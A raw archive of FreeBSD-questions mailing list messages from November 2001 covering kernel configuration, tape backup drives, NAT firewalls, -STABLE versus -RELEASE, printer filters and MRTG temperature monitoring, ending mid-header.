owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --vGgW1X5XWziG23Ko Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Nov 19, 2001 at 07:28:37PM -0600, John O Holland wrote: > Hello, >=20 > In this email is my kernel configuration. For some reason I get an error > when making it. The error can be found after the config script. This is a FAQ..you misread the directions and left out one of the required config options. Kris --vGgW1X5XWziG23Ko Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7+bOFWry0BWjoQKURAh8aAJwNdEmij2vhV+YH5cs4XZyDYrQ4IwCeJEUs VuKHN5pcfJkhAemkrqGNC+o= =Q8zT -----END PGP SIGNATURE----- --vGgW1X5XWziG23Ko-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:39: 2 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id CCD1037B419 for ; Mon, 19 Nov 2001 17:38:59 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAK1cwa15087; Tue, 20 Nov 2001 02:38:58 +0100 (CET) Message-ID: <007801c17164$2010e150$0a00000a@atkielski.com> From: "Anthony Atkielski" To: References: <15353.33437.744317.153424@guru.mired.org><20011119194626.K48577-100000@malkav.snowmoon.com> <15353.45841.476855.884298@guru.mired.org> Subject: Re: Writable directory except for a given user Date: Tue, 20 Nov 2001 02:38:51 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG For what it is worth, this is a very good illustration of the shortcomings of the very limited UNIX security model. Windows NT/2000, as well as Multics, the parent of UNIX, both allow this type of access control, as I recall. ----- Original Message ----- From: "Mike Meyer" To: Cc: Sent: Tuesday, November 20, 2001 02:34 Subject: Re: Writable directory except for a given user > jaime@snowmoon.com types: > > On Mon, 19 Nov 2001, Mike Meyer wrote: > > > Sure - create a group that you put all users in by default, and then > > > take blacklisted users out of it. > > I'm aware of this idea, but in my case we're talking about > > hundreds of users. Is there a way to configure adduser (or FreeBSD > > itself) to add a user to a given group by default? Other than the obvious > > /etc/adduser.* files, I mean. :) What about a method of doing this and > > taking care of all of my hundreds of users that already exist? > > Can you make that the users gid, as opposed to just being another > group? If so, script to fix /etc/master.passwd should be > straightforward. Given that you only have to do it once, ed might be > the fastest way to do it. If you need to create a group with hundreds > of users - you might want to find a different approach, like sudo for > the operations you want to allow on the directory. > > -- > Mike Meyer http://www.mired.org/home/mwm/ > Q: How do you make the gods laugh? A: Tell them your plans. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:39:44 2001 Delivered-To: freebsd-questions@freebsd.org Received: from monorchid.lemis.com (monorchid.lemis.com [192.109.197.75]) by hub.freebsd.org (Postfix) with ESMTP id E043537B405 for ; Mon, 19 Nov 2001 17:39:40 -0800 (PST) Received: by monorchid.lemis.com (Postfix, from userid 1004) id A34F3786E1; Tue, 20 Nov 2001 12:09:38 +1030 (CST) Date: Tue, 20 Nov 2001 12:09:38 +1030 From: Greg Lehey To: Anthony Atkielski Cc: Noor Dawod , freebsd-questions@FreeBSD.ORG Subject: Re: SCSI tape back that works under FreeBSD Message-ID: <20011120120938.M76318@monorchid.lemis.com> References: <002f01c17162$7d190550$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <002f01c17162$7d190550$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23i Organization: The FreeBSD Project Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.FreeBSD.org/ X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tuesday, 20 November 2001 at 2:27:09 +0100, Anthony Atkielski wrote: > On Monday, November 19, 2001 23:55, wrote: >> Hi Noor, >> >> generally from my experience I can't recomment DAT as a backup media. They >> are cheap but also not very durable. I rather recommend DLT or LTO drives. >> >> The reason for this is simple my experience showed me, that a DAT media >> gets unreadable after a year of use, then you have to buy new ones, with >> DLTs or LTOs I really can say they last very much longer (I admit my >> experience with LTOs is only for 2 years now ;-). > > I've never had trouble with DAT drives, and I've been using them for backups for > years. I've been using DDS (so-called DAT) drives for years too, and I've had nothing but trouble with them. I still estimate the average life to be about 18 months. > I verify every backup (not sure if this is possible on FreeBSD--?). Of course it is. I do that too. > I rotate through a dozen tapes or so. If you keep the drive clean > and verify the tape content so that you know it is readable, it > works very well. The latest DAT drives can put at least 24 GB on > one cassette. 40 GB. Greg -- When replying to this message, please copy the original recipients. If you don't, I may ignore the reply. For more information, see http://www.lemis.com/questions.html See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:39:57 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smtpg.casema.net (smtpg.casema.net [195.96.96.160]) by hub.freebsd.org (Postfix) with SMTP id 494EE37B41D for ; Mon, 19 Nov 2001 17:39:48 -0800 (PST) Received: (qmail 4714 invoked by uid 0); 20 Nov 2001 01:39:43 -0000 Received: from unknown (HELO scorn.diderius.nl) (212.64.78.61) by smtpg.casema.net with SMTP; 20 Nov 2001 01:39:43 -0000 Received: from parallax.diderius.nl (parallax.diderius.nl [172.18.4.1]) by scorn.diderius.nl (8.11.2/8.11.2) with ESMTP id fAK1dBN03745; Tue, 20 Nov 2001 02:39:11 +0100 Received: from silver.ftx.diderius.nl (silver.ftx.diderius.nl [172.19.3.10]) by parallax.diderius.nl (8.11.3/8.11.3) with ESMTP id fAK1de800953; Tue, 20 Nov 2001 02:39:40 +0100 (CET) (envelope-from walter@binity.com) Date: Tue, 20 Nov 2001 02:38:36 +0100 From: Walter Hop X-Mailer: The Bat! (v1.53d) Educational X-Priority: 3 (Normal) Message-ID: <1989602727.20011120023836@binity.com> To: Axel Scheepers Cc: Chris Appleton , freebsd-questions@freebsd.org Subject: Re: NAT security In-Reply-To: <20011119235600.A1904@mars.thuis> References: <917DCA667947D4118E2100AA00BAEA6E1ABC06@vonneumann.emailtopia.com> <83141508858.20011119162408@binity.com> <20011119235600.A1904@mars.thuis> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG [in reply to axel@axel.truedestiny.net, 19-11-2001] > I use ipfilter/ipnat and like the way you can flush/edit the kernel filterlist > and the possibility to create nice config files for it. As I see it ipfilter is > a bit better handling large configurations. > It also uses a technique which processes the whole ruleset which might be a > bit confusing when you first start using it. > My gateway/firewall is a simple 486-33/16MB, I used ipf & natd for a while > but since these copy packets from kernel to userland, and ipfilter/ipnat don't, > ipfilter gives _way_ more performance on a busy network. > For home use I shouldn't care if I where you; if ipfw suits you and does 'your > thing' use it. :) Thanks for the info! I never did care to look at it. Do you think the efficiency gain is noticable for a node with relatively few firewalling rules as well? -- Walter Hop Updated contact information: http://www.binity.com/~walter/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:40:55 2001 Delivered-To: freebsd-questions@freebsd.org Received: from monorchid.lemis.com (monorchid.lemis.com [192.109.197.75]) by hub.freebsd.org (Postfix) with ESMTP id AF38937B41A for ; Mon, 19 Nov 2001 17:40:47 -0800 (PST) Received: by monorchid.lemis.com (Postfix, from userid 1004) id 8F12C7855F; Tue, 20 Nov 2001 12:10:45 +1030 (CST) Date: Tue, 20 Nov 2001 12:10:45 +1030 From: Greg Lehey To: Anthony Atkielski Cc: "R. Hartman" , FreeBSD Questions Subject: Re: Mysterious boot during the night Message-ID: <20011120121045.N76318@monorchid.lemis.com> References: <005201c1706f$572afb80$6600000a@ach.domain> <20011119124150.R16195@monorchid.lemis.com> <005901c170a2$1cd5efc0$0a00000a@atkielski.com> <200111182159.11756@starbreaker.net> <20011119135936.S16195@monorchid.lemis.com> <001901c170c0$ce2ef460$9600000a@custcom> <00c201c170c5$d4222400$0a00000a@atkielski.com> <20011120094247.L84417@monorchid.lemis.com> <002401c17161$bfe92aa0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <002401c17161$bfe92aa0$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23i Organization: The FreeBSD Project Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.FreeBSD.org/ X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tuesday, 20 November 2001 at 2:21:49 +0100, Anthony Atkielski wrote: > Greg writes: > >> No. The text is wrong. It's as I said before: -STABLE is the >> stable version, -RELEASE is the released version. > > Either STABLE is more stable than RELEASE, or it isn't. If it is, why is > RELEASE the version that gets sold on CDs? Do I need to spell that out? Because bug fixes are easier to make than ISO images. Greg -- See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:41:31 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.nbrewer.com (sparge.nbrewer.com [208.42.68.70]) by hub.freebsd.org (Postfix) with ESMTP id 2A49137B418 for ; Mon, 19 Nov 2001 17:41:29 -0800 (PST) Received: by mail.nbrewer.com (Postfix, from userid 1001) id AC9884B7195; Mon, 19 Nov 2001 19:41:24 -0600 (CST) Date: Mon, 19 Nov 2001 19:41:24 -0600 From: Christopher Farley To: Dennis Logan Cc: freebsd-questions@freebsd.org Subject: Re: home pc use Message-ID: <20011119194122.A92015@northernbrewer.com> Mail-Followup-To: Christopher Farley , Dennis Logan , freebsd-questions@freebsd.org References: <3BF9B12B.3D521A4D@nycap.rr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3BF9B12B.3D521A4D@nycap.rr.com>; from delogan1@nycap.rr.com on Mon, Nov 19, 2001 at 08:26:03PM -0500 Organization: Northern Brewer, St. Paul, MN Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Dennis Logan (delogan1@nycap.rr.com) wrote: > Hi, > Can i use this operating system instead of win98 on my pc? > dennis If you view your computer as an appliance, then probably not. If you enjoy learning about somewhat technical subjects, don't want to be completely abstracted from the computer, and are willing to spend a little bit more time (but absolutely no money) learning how to use and install free software, then operating systems like *BSD or Linux are completely feasable home/small office desktop solutions. Since most people use their computers for web browsing, writing/reading email, and word processing, I can say with certainty that a FreeBSD or Linux machine will compare quite favorably with a Win98/ME/NT/2000/XP machine once you get it properly configured. Here are the major 'killer apps' in a BSD/Linux environment: Web browser: Mozilla, Netscape, Opera or Konqueror Email client: many, many available Office suite: Star Office (even reads/writes Word .docs) You will undoubtedly find it a bit harder to install and configure a FreeBSD system than buying a computer that runs Windows out-of-the-box. But you will learn a lot more. -- Christopher Farley www.northernbrewer.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:42:44 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id D361B37B405; Mon, 19 Nov 2001 17:42:39 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAK1gcG15467; Tue, 20 Nov 2001 02:42:38 +0100 (CET) Message-ID: <007f01c17164$a3284c40$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Greg Lehey" Cc: "Noor Dawod" , References: <002f01c17162$7d190550$0a00000a@atkielski.com> <20011120120938.M76318@monorchid.lemis.com> Subject: Re: SCSI tape back that works under FreeBSD Date: Tue, 20 Nov 2001 02:42:32 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Greg writes: > I've been using DDS (so-called DAT) drives for > years too, and I've had nothing but trouble with > them. What sort of trouble, and what brand of drives are you using? And the obvious question: if they are so much trouble, why have you been using them for years? > I still estimate the average life to be about > 18 months. The average life of what? Media or the drive? Eighteen months is a long time to be keeping regular backups. Beyond 6-12 months, I call it an archive. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:44: 1 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 9FA7237B41B; Mon, 19 Nov 2001 17:43:58 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAK1hvQ15609; Tue, 20 Nov 2001 02:43:57 +0100 (CET) Message-ID: <008201c17164$d2220e00$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Greg Lehey" Cc: "R. Hartman" , "FreeBSD Questions" References: <005201c1706f$572afb80$6600000a@ach.domain> <20011119124150.R16195@monorchid.lemis.com> <005901c170a2$1cd5efc0$0a00000a@atkielski.com> <200111182159.11756@starbreaker.net> <20011119135936.S16195@monorchid.lemis.com> <001901c170c0$ce2ef460$9600000a@custcom> <00c201c170c5$d4222400$0a00000a@atkielski.com> <20011120094247.L84417@monorchid.lemis.com> <002401c17161$bfe92aa0$0a00000a@atkielski.com> <20011120121045.N76318@monorchid.lemis.com> Subject: Re: Mysterious boot during the night Date: Tue, 20 Nov 2001 02:43:51 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Greg writes: > Do I need to spell that out? Because bug fixes are > easier to make than ISO images. That won't answer the IT manager's question: Which of these versions do I install on our mission-critical production servers, and why? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:49: 5 2001 Delivered-To: freebsd-questions@freebsd.org Received: from monorchid.lemis.com (monorchid.lemis.com [192.109.197.75]) by hub.freebsd.org (Postfix) with ESMTP id A304237B419 for ; Mon, 19 Nov 2001 17:48:59 -0800 (PST) Received: by monorchid.lemis.com (Postfix, from userid 1004) id AB7097855F; Tue, 20 Nov 2001 12:18:57 +1030 (CST) Date: Tue, 20 Nov 2001 12:18:57 +1030 From: Greg Lehey To: Anthony Atkielski Cc: Noor Dawod , freebsd-questions@FreeBSD.org Subject: Re: SCSI tape back that works under FreeBSD Message-ID: <20011120121857.O76318@monorchid.lemis.com> References: <002f01c17162$7d190550$0a00000a@atkielski.com> <20011120120938.M76318@monorchid.lemis.com> <007f01c17164$a3284c40$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <007f01c17164$a3284c40$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23i Organization: The FreeBSD Project Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.FreeBSD.org/ X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tuesday, 20 November 2001 at 2:42:32 +0100, Anthony Atkielski wrote: > Greg writes: > >> I've been using DDS (so-called DAT) drives for years too, and I've >> had nothing but trouble with them. > > What sort of trouble, Total failure. > and what brand of drives are you using? HP, AIWA, Sony, Conner. > And the obvious question: if they are so much trouble, why have you > been using them for years? What would you replace them with? It's a question of cost. There are very few reliable tape drives. But if disks were anywhere near as unreliable as tapes, people would be up in arms. >> I still estimate the average life to be about 18 months. > > The average life of what? Media or the drive? Drive. Greg -- When replying to this message, please copy the original recipients. If you don't, I may ignore the reply. For more information, see http://www.lemis.com/questions.html See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:50:41 2001 Delivered-To: freebsd-questions@freebsd.org Received: from monorchid.lemis.com (monorchid.lemis.com [192.109.197.75]) by hub.freebsd.org (Postfix) with ESMTP id A95FD37B417 for ; Mon, 19 Nov 2001 17:50:36 -0800 (PST) Received: by monorchid.lemis.com (Postfix, from userid 1004) id 5A9A5786E1; Tue, 20 Nov 2001 12:20:34 +1030 (CST) Date: Tue, 20 Nov 2001 12:20:34 +1030 From: Greg Lehey To: Anthony Atkielski Cc: "R. Hartman" , FreeBSD Questions Subject: Re: Mysterious boot during the night Message-ID: <20011120122034.P76318@monorchid.lemis.com> References: <20011119124150.R16195@monorchid.lemis.com> <005901c170a2$1cd5efc0$0a00000a@atkielski.com> <200111182159.11756@starbreaker.net> <20011119135936.S16195@monorchid.lemis.com> <001901c170c0$ce2ef460$9600000a@custcom> <00c201c170c5$d4222400$0a00000a@atkielski.com> <20011120094247.L84417@monorchid.lemis.com> <002401c17161$bfe92aa0$0a00000a@atkielski.com> <20011120121045.N76318@monorchid.lemis.com> <008201c17164$d2220e00$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <008201c17164$d2220e00$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23i Organization: The FreeBSD Project Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.FreeBSD.org/ X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tuesday, 20 November 2001 at 2:43:51 +0100, Anthony Atkielski wrote: > Greg writes: > >> Do I need to spell that out? Because bug fixes are easier to make >> than ISO images. > > That won't answer the IT manager's question: No, it answered your question (omitted). > Which of these versions do I install on our mission-critical > production servers, -STABLE > and why? Because it's the most stable version. Greg -- See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:50:54 2001 Delivered-To: freebsd-questions@freebsd.org Received: from rutger.owt.com (rutger.owt.com [204.118.6.16]) by hub.freebsd.org (Postfix) with ESMTP id 8079737B416 for ; Mon, 19 Nov 2001 17:50:47 -0800 (PST) Received: from owt.com (owt-207-41-94-232.owt.com [207.41.94.232]) by rutger.owt.com (8.9.3/8.9.3) with ESMTP id RAA10237; Mon, 19 Nov 2001 17:50:42 -0800 Message-ID: <3BF9B6F2.6090506@owt.com> Date: Mon, 19 Nov 2001 17:50:42 -0800 From: Kent Stewart User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 X-Accept-Language: en-us MIME-Version: 1.0 To: Anthony Atkielski Cc: Bara Zani , freebsd-questions@FreeBSD.ORG Subject: Re: Vi a Joke ? References: <001e01c17134$0d6f2370$fd6e34c6@mlevy> <3BF964F5.7080905@owt.com> <004601c17162$eed90be0$0a00000a@atkielski.com> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Anthony Atkielski wrote: >>One point people forget and that is what can >>you use when you mess up rc.conf and your system >>will only boot into single user mode. Learning >>vi at that point is a painic :). >> > > Can't you just restore the previous copy of the file and reboot? You made a > backup copy of the last bootable version of the file before you changed it, > right? It is all too often a one line change and no one does a backup then. That is what gets them in trouble to begin with. It doesn't happen that often and I have always been able to mount /usr and correct the error using my editor of choice. The thing you can't do is re-ftp a corrected version or do an nfs_mount to pick up the backup. Occasionally, we see files that are corrupt because they have 's on the end of the line. kent -- Kent Stewart Richland, WA mailto:kbstew99@hotmail.com http://users.owt.com/kstewart/index.html FreeBSD News http://daily.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:51:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from zeus.cairodurham.org (zeus.cairodurham.org [209.23.60.35]) by hub.freebsd.org (Postfix) with SMTP id 9545537B417 for ; Mon, 19 Nov 2001 17:51:21 -0800 (PST) Received: (qmail 78696 invoked from network); 17 Nov 2001 15:04:38 -0000 Received: from localhost (127.0.0.1) by localhost with SMTP; 17 Nov 2001 15:04:38 -0000 Date: Sat, 17 Nov 2001 10:04:38 -0500 (EST) From: Mike Knichel X-X-Sender: To: Subject: Epson DFX 500+ & Form Feed Message-ID: <20011117095706.R78652-100000@zeus> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I am not an expert user and am fairly n00b to BSD...Please be gentle. I have an Epson DFX 500+ (dot matrix) printer attached to our network via rj45. It has an IP address. I also have a server set up on our lan that my programming students connect to via ssh to write code. I have been trying to get my printer working with FreeBSD for some time now and am almost there. I can finally print to it, but each new print job starts where the previous left off. So, here is what I have done so far... my /etc/printcap file... lp|dfx:\ :rm=dfx:rp=lpb:sd=/var/spool/dfx: :if=/usr/local/libexec/if-simple: :lf=/var/log/dfx.log my /usr/local/libexec/if-simple file... As per archive suggestion #!/bin/sh /bin/cat && printf "\f" && exit 0 exit 2 I can print fine, but I want a form feed after each job. Can anybody help? PS: It may be necessary to reply directly to me (knichel@cairodurham.org). The last time I tried to subscribe to this list, i never got any of the emails from the list. My net admin said he fixed the DNS issue, but I am not positive. -- Mike Knichel To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:53:20 2001 Delivered-To: freebsd-questions@freebsd.org Received: from avocet.prod.itd.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by hub.freebsd.org (Postfix) with ESMTP id 4099437B405 for ; Mon, 19 Nov 2001 17:53:14 -0800 (PST) Received: from sdn-ar-007dcwashp207.dialsprint.net ([63.178.91.119] helo=moo.holy.cow) by avocet.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 166065-0007fT-00 for freebsd-questions@FreeBSD.ORG; Mon, 19 Nov 2001 17:53:13 -0800 Received: by moo.holy.cow (Postfix, from userid 1001) id A8F5A50B85; Mon, 19 Nov 2001 20:54:27 -0500 (EST) Date: Mon, 19 Nov 2001 20:54:27 -0500 From: parv To: freebsd-questions@FreeBSD.ORG Subject: Re: mozilla does irrelevant search instead revisiting page Message-ID: <20011119205427.A1083@moo.holy.cow> Mail-Followup-To: freebsd-questions@FreeBSD.ORG References: <200110172009.f9HK9AB81768@fac13.ds.psu.edu> <20011119021957.A9463@moo.holy.cow> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011119021957.A9463@moo.holy.cow>; from parv_@yahoo.com on Mon, Nov 19, 2001 at 02:19:57AM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG in message <20011119021957.A9463@moo.holy.cow>, wrote parv thusly... > ... > i have set both cache limits to be zero as "every time-compare-cache" > setting didn't help. somehow i have a feeling that zero cache limit > won't prove to be helpful either. > ... as suspected, that didn't take care of the problem either. dang! so far, clearing cache had solved the problem most of the time, not all of the time. i will stick w/ netscape for regular use until mozilla solves the "incorrect url fetching" problems. could anybody tell if netscape 6.x doesn't behave so? - parv -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:58:31 2001 Delivered-To: freebsd-questions@freebsd.org Received: from chmls05.mediaone.net (chmls05.mediaone.net [24.147.1.143]) by hub.freebsd.org (Postfix) with ESMTP id 91D9837B418 for ; Mon, 19 Nov 2001 17:58:23 -0800 (PST) Received: from sickness (test4.peter.Metro2000.NET [216.177.0.48]) by chmls05.mediaone.net (8.11.1/8.11.1) with ESMTP id fAK1wBk14894 for ; Mon, 19 Nov 2001 20:58:12 -0500 (EST) From: "David Loszewski" To: Subject: healthd help with mrtg plz... Date: Mon, 19 Nov 2001 20:57:07 -0500 Message-ID: <002f01c17166$ac8a9250$3000b1d8@sickness> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG K, I took a look at the healthd site and this is what it said to do to monitor temperature: Target[temp]: `/usr/local/bin/healthdc cat | /usr/bin/awk '/^/ {print $2*10; print $3*10; print "a long time"; print $1}'` MaxBytes[temp]: 700 Options[temp]: gauge, noinfo, nopercent Title[temp]: cat.int.thehousleys.net (cat.int.thehousleys.net): temp YTicsFactor[temp]: 0.1 Factor[temp]: 0.1 YLegend[temp]: Celsius LegendI[temp]: Temp LegendO[temp]: Temp ShortLegend[temp]: C PageTop[temp]:

Chipset vs. CPU #1 Temperature

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Interface:Chipset vs. CPU #1 Temperature
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so I put that in my mrtg.cfg, ran it and this is what I get: healthdc: cat: No address associated with hostname WARNING: Could not get any data from external command '/usr/local/bin/healthdc cat | /usr/bin/awk '/^/ {print $2*10; print $3*10; print "a long time"; print $1}'' Maybe the external command did not even start. () Ideas on what to do? And yes it is running because if I try healthdc then it returns the values. Dave To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:59:38 2001 Delivered-To: freebsd-questions@freebsd.org Received: from clmboh1-smtp4.columbus.rr.com (clmboh1-smtp4.columbus.rr.com [65.24.0.114]) by hub.freebsd.org (Postfix) with ESMTP id AACFE37B416 for ; Mon, 19 Nov 2001 17:59:34 -0800 (PST) Received: from hwaet (cvg-65-27-179-120.cinci.rr.com [65.27.179.120]) by clmboh1-smtp4.columbus.rr.com (8.11.2/8.11.2) with SMTP id fAK1xtk01674 for ; Mon, 19 Nov 2001 20:59:55 -0500 (EST) Message-ID: <001601c17167$191a78e0$0400a8c0@hwaet> From: "Chops" To: References: <3BF9B12B.3D521A4D@nycap.rr.com> <004b01c17163$27719260$0a00000a@atkielski.com> Subject: Set max folder size Date: Mon, 19 Nov 2001 21:00:15 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 